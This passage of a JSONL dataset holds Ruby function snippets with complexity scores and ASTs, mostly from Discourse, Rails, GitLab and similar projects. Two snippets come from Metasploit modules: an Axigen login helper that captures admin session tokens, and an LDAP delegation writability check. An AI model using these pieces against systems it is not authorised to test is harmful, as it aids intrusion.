end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@primary_actor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"notifications\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_actor\"]},{\"type\":\"ivar\",\"children\":[\"@primary_actor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"utc\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"notifications\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"utc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"c9c22d2c-cd83-42a9-9b74-a9ccdee70335"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190424065841_add_post_image_indexes.rb","start_line":4,"raw_source":"def change\n    %w[large_images broken_images downloaded_images].each do |field|\n      execute <<~SQL\n        DELETE FROM post_custom_fields f\n        WHERE name = '#{field}' AND id > (\n          SELECT MIN(f2.id) FROM post_custom_fields f2\n            WHERE f2.post_id = f.post_id AND f2.name = f.name\n        )\n      SQL\n\n      add_index :post_custom_fields,\n                [:post_id],\n                name: \"post_custom_field_#{field}_idx\",\n                unique: true,\n                where: \"name = '#{field}'\"\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"large_images\"]},{\"type\":\"str\",\"children\":[\"broken_images\"]},{\"type\":\"str\",\"children\":[\"downloaded_images\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM post_custom_fields f\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\"' AND id > (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT MIN(f2.id) FROM post_custom_fields f2\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE f2.post_id = f.post_id AND f2.name = f.name\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"post_custom_fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"post_custom_field_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\"_idx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]}]}","id":"54b7df24-6ed1-4472-8090-fe211bc1d94f"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_cli.rb","start_line":357,"raw_source":"def test_environment_rack_env\n    ENV['RACK_ENV'] = @environment\n\n    cli = Puma::CLI.new []\n    cli.send(:setup_options)\n\n    assert_equal @environment, cli.instance_variable_get(:@conf).environment\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_environment_rack_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RACK_ENV\"]},{\"type\":\"ivar\",\"children\":[\"@environment\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"CLI\"]},\"new\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send\",{\"type\":\"sym\",\"children\":[\"setup_options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@conf\"]}]},\"environment\"]}]}]}]}","id":"cd3f8361-a411-4fee-b328-90ed83c9f107"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/publisher.rb","start_line":156,"raw_source":"def self.publish_delete!(chat_channel, chat_message)\n      message_bus_targets = calculate_publish_targets(chat_channel, chat_message)\n      latest_not_deleted_message_id =\n        if chat_message.thread_reply? && chat_channel.threading_enabled\n          chat_message.thread.latest_not_deleted_message_id(anchor_message_id: chat_message.id)\n        else\n          chat_channel.latest_not_deleted_message_id(anchor_message_id: chat_message.id)\n        end\n      publish_to_targets!(\n        message_bus_targets,\n        chat_channel,\n        {\n          type: \"delete\",\n          deleted_id: chat_message.id,\n          deleted_at: chat_message.deleted_at,\n          deleted_by_id: chat_message.deleted_by_id,\n          latest_not_deleted_message_id: latest_not_deleted_message_id,\n        },\n      )\n    end","complexity_score":17.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_delete!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chat_channel\"]},{\"type\":\"arg\",\"children\":[\"chat_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message_bus_targets\",{\"type\":\"send\",\"children\":[null,\"calculate_publish_targets\",{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"chat_message\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"latest_not_deleted_message_id\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"thread_reply?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},\"threading_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"thread\"]},\"latest_not_deleted_message_id\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},\"latest_not_deleted_message_id\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"publish_to_targets!\",{\"type\":\"lvar\",\"children\":[\"message_bus_targets\"]},{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"deleted_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_message\"]},\"deleted_by_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest_not_deleted_message_id\"]},{\"type\":\"lvar\",\"children\":[\"latest_not_deleted_message_id\"]}]}]}]}]}]}","id":"2ef1b4f2-0531-4912-a6d2-a670bb72844e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/filter_grep.rb","start_line":25,"raw_source":"def initialize\n      super\n\n      @_regexp_and_conditions = nil\n      @_exclude_and_conditions = nil\n      @_regexp_or_conditions = nil\n      @_exclude_or_conditions = nil\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_regexp_and_conditions\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_exclude_and_conditions\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_regexp_or_conditions\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_exclude_or_conditions\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d83ba86b-d816-495e-8e94-b0a3e2e60d8a"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/support/settings.rb","start_line":7,"raw_source":"def self.load(filename)\n      yaml = YAML.load_file(filename)\n      Settings.new(yaml)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"yaml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"yaml\"]}]}]}]}","id":"cd6361ef-26eb-41ea-b141-9d8eb480c853"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/milestone/index.rb","start_line":20,"raw_source":"def has_milestone?(milestone)\n            has_element?('milestone-link', milestone_title: milestone.title)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_milestone?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"milestone-link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"title\"]}]}]}]}]}","id":"128c269a-7975-4250-9589-bc41a2d5d1a6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/axigen_file_access.rb","start_line":161,"raw_source":"def login\n    res = send_request_cgi(\n      {\n        'uri' => normalize_uri(target_uri.path),\n        'method' => 'POST',\n        'vars_post' => {\n          'username' => datastore['USERNAME'],\n          'password' => datastore['PASSWORD'],\n          'submit' => 'Login',\n          'action' => 'login'\n        }\n      }\n    )\n\n    if res && (res.code == 303) && res.headers['Location'] =~ /_h=([a-f0-9]*)/\n      @token = ::Regexp.last_match(1)\n      if res.get_cookies =~ /_hadmin=([a-f0-9]*)/\n        @session = ::Regexp.last_match(1)\n        return true\n      end\n    end\n\n    return false\n  end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"submit\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[303]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_h=([a-f0-9]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_hadmin=([a-f0-9]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@session\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"c812858d-98fc-4e40-986a-ced425d64f97"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/drop_tokens_service.rb","start_line":52,"raw_source":"def invalidate_invitation_tokens\n      Token::Invitation.where(user:).delete_all\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_invitation_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"Invitation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},\"delete_all\"]}]}","id":"e0b90c65-12d1-4611-9722-0dab5caf4288"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/namespace_settings/update_service.rb","start_line":6,"raw_source":"def initialize(settings, args)\n        @settings = settings\n        @args = args\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"settings\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@settings\",{\"type\":\"lvar\",\"children\":[\"settings\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@args\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"e6dab826-f95c-479f-aade-acde2d19f802"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":203,"raw_source":"def conditional_hello_with_cache_control_headers\n    response.headers[\"Cache-Control\"] = \"no-transform\"\n    expires_now\n    render action: \"hello_world\"\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"conditional_hello_with_cache_control_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]},{\"type\":\"str\",\"children\":[\"no-transform\"]}]},{\"type\":\"send\",\"children\":[null,\"expires_now\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"hello_world\"]}]}]}]}]}]}","id":"ac04b7b2-a5cc-4938-bec4-3a9171927227"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/logger_test.rb","start_line":314,"raw_source":"def test_logger_level_main_fiber_safety\n    previous_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level\n    ActiveSupport::IsolatedExecutionState.isolation_level = :fiber\n\n    @logger.level = Logger::INFO\n    assert_level(Logger::INFO)\n\n    fiber = Fiber.new do\n      assert_level(Logger::INFO)\n    end\n\n    @logger.silence(Logger::ERROR) do\n      assert_level(Logger::ERROR)\n      fiber.resume\n    end\n  ensure\n    ActiveSupport::IsolatedExecutionState.isolation_level = previous_isolation_level\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_logger_level_main_fiber_safety\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_isolation_level\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"isolation_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"isolation_level=\",{\"type\":\"sym\",\"children\":[\"fiber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"INFO\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_level\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"INFO\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fiber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fiber\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_level\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"INFO\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"silence\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"ERROR\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_level\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"ERROR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fiber\"]},\"resume\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"isolation_level=\",{\"type\":\"lvar\",\"children\":[\"previous_isolation_level\"]}]}]}]}","id":"a2eb4b2b-ae58-41bb-928f-424a78d450e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/container_registry/client_spec.rb","start_line":538,"raw_source":"def expect_new_faraday(times: 1, timeout: true)\n    request_options = timeout ? expected_faraday_request_options : nil\n    expect(Faraday)\n      .to receive(:new)\n      .with(\n        'http://container-registry',\n        headers: expected_faraday_headers,\n        request: request_options\n      ).and_call_original\n      .exactly(times)\n      .times\n  end","complexity_score":15.55,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_new_faraday\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"times\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_options\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[null,\"expected_faraday_request_options\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[null,\"Faraday\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"http://container-registry\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"expected_faraday_headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"request_options\"]}]}]}]},\"and_call_original\"]},\"exactly\",{\"type\":\"lvar\",\"children\":[\"times\"]}]},\"times\"]}]}]}]}","id":"44b73650-81c9-4ab4-8b89-eb74e86ca39a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/ldap/rbcd.rb","start_line":98,"raw_source":"def check\n    ldap_connect do |ldap|\n      validate_bind_success!(ldap)\n\n      if (@base_dn = datastore['BASE_DN'])\n        print_status(\"User-specified base DN: #{@base_dn}\")\n      else\n        print_status('Discovering base DN automatically')\n\n        unless (@base_dn = ldap.base_dn)\n          print_warning(\"Couldn't discover base DN!\")\n        end\n      end\n      @ldap = ldap\n\n      obj = get_delegate_to_obj\n      if obj.nil?\n        return Exploit::CheckCode::Unknown('Failed to find the specified object.')\n      end\n\n      unless adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.all(%i[RP WP]))\n        return Exploit::CheckCode::Safe('The object can not be written to.')\n      end\n\n      Exploit::CheckCode::Vulnerable('The object can be written to.')\n    end\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_connect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ldap\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_bind_success!\",{\"type\":\"lvar\",\"children\":[\"ldap\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BASE_DN\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User-specified base DN: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base_dn\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Discovering base DN automatically\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]},\"base_dn\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Couldn't discover base DN!\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ldap\",{\"type\":\"lvar\",\"children\":[\"ldap\"]}]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[null,\"get_delegate_to_obj\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Failed to find the specified object.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adds_obj_grants_permissions?\",{\"type\":\"ivar\",\"children\":[\"@ldap\"]},{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecurityDescriptorMatcher\"]},\"Allow\"]},\"all\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"RP\"]},{\"type\":\"sym\",\"children\":[\"WP\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The object can not be written to.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"The object can be written to.\"]}]}]}]}]}","id":"1df89db1-b262-4f90-a0cd-4c463e60d5a3"}
